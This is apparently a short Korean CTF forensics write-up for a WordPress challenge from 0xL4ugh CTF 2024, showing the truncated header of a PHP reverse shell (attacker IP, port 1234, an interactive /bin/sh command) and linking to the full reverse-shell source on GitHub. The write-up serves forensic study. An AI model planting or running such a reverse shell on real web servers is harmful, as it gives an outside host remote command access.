CTF/Digital Forensic

[0xL4ugh CTF 2024] WordPress - 4_Write-up

수분_ 2024. 5. 30. 22:08
들어가기에 앞서

마지막에 Reference 링크가 첨부
되어있다.

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '172.26.211.155'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...
?>

 

원본 역방향 쉘 스크립트는

https://github.com/xdayeh/Php-Reverse-Shell/blob/master/PHP-Reverse-Shell.php

여기서 확인 가능하다.

 

 

Php-Reverse-Shell/PHP-Reverse-Shell.php at master · xdayeh/Php-Reverse-Shell

This tool is designed for those situations during a pentest where you have upload access to a webserver that’s running PHP. Upload this script to somewhere in the web root then run it by accessing...

github.com

 https://github.com/xdayeh/Php-Reverse-Shell/blob/master/PHP-Reverse-Shell.php

 

Php-Reverse-Shell/PHP-Reverse-Shell.php at master · xdayeh/Php-Reverse-Shell

This tool is designed for those situations during a pentest where you have upload access to a webserver that’s running PHP. Upload this script to somewhere in the web root then run it by accessing...

github.com